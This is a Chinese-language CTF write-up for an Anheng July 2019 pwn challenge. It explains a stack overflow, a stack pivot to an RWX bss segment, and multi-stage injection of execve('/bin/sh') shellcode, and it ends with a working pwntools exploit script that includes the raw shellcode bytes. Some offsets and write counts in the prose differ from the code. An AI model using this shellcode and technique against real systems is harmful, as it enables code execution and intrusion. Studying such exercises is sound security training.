题目地址,感谢hebtuerror404师傅一直收集题目:
https://github.com/hebtuerror404/Anheng_cup_month/tree/master/2019-07/Pwn/unexploit
安恒7月月赛中的一道pwn题目,考察的是栈迁移和shellcode利用,首先看一下安全机制,全部关闭,说明可以执行shellcode

漏洞点在read函数这里,输入的字节比buf长,是一个典型的栈溢出,但是没有预留后门函数,可以通过写shellcode的方式来利用,但是写入的字节数太少,可以选择栈迁移的方式,迁移到RWX的段上。

可以看到0x600000到0x602000是满足要求的,我们可以把栈迁移到上面去:

思路就是将栈迁移到bss段上,由于每次只能写入20字节,所以得进行多次写入,每次写入8字节的shellcode,由于选用的是24字节的shellcode,所以需要分3次写入,每次写入还需要将ebp加8个字节,下面开始进行构造:
pay = 'a'*pad + p64(bss+8) + p64(readaddr) + p64(0xdeadbeef)
第一次read函数输入之后,栈的情况,可以看出栈中的老RBP已被覆盖:

第一次执行LEAVE,LEAVE指令是将栈顶指针指向栈底指针,然后POP备份的原帧指针到RBP寄存器:
相当于:
mov rsp rbp
pop rbp

pay2 = sc2[0:8] + p64(bss+0x48) + p64(readaddr) + p64(0)
第二次read函数接收输入后,是往0x601100的bss段地址中写入部分shellcode,并且用0x601148来覆盖RBP,在执行完LEAVE函数后,RSP会和这一次的RBP相等,为0x601008,接下来RIP会继续回到read函数:

上面的分析如图所示,继续跳转:

pay3 = p64(0) + p64(bss+0x10) + p64(readaddr) + p64(0)
第三次read函数接收输入后,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:

在函数结束后,RSP和RBP如下所示:

pay4 = sc2[8:16] + p64(bss+0x48) + p64(readaddr) + p64(0)
在第四次函数接收输入,将8个字节的shellcode写入,并且将RBP覆盖为0x601148,返回地址仍然为0x40068,24字节的shellcode需要分四次写入

接着继续到达LEAVE,此时的栈的情况是这样的:

pay5 = p64(0) + p64(bss+0x18) + p64(readaddr) + p64(0)
在第五次函数接收输入,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:

执行完LEAVE后的RBP和RSP如下图所示:

pay6 = sc2[16:24] + p64(bss+0x48) + p64(readaddr) + p64(0)
在第六次函数接收输入,将最后8个字节的shellcode写入,并且将RBP覆盖为0x601148,返回地址仍然为0x40068,可以看到输入的值放在当前栈底值减8的地方,也就是0x601148的地方:

执行完LEAVE后的RBP和RSP如下图所示:

pay7 = p64(0) + p64(0) + p64(bss) + p64(0)
在第七次函数接收输入,可以看到输入的值放在当前栈底值减8的地方,也就是0x601140的地方:

最后一次输入直接跳转到输入好的shellcode开始处就可以了,最后成功拿到shell:

exp代码如下:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p = process ('./unexploit')
#p = remote('101.71.29.5',10002)
bss = 0x601100
read_addr = 0x40068a
def payload(a,b,c,d):
p.send(a+b+c+d)
payload('a'*8,p64(bss+8),p64(read_addr),p64(0xdeadbeef))
payload(shellcode[0:8],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x10),p64(read_addr),p64(0))
payload(shellcode[8:16],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x18),p64(read_addr),p64(0))
payload(shellcode[16:24],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(0),p64(bss),p64(0))
p.interactive()
网友评论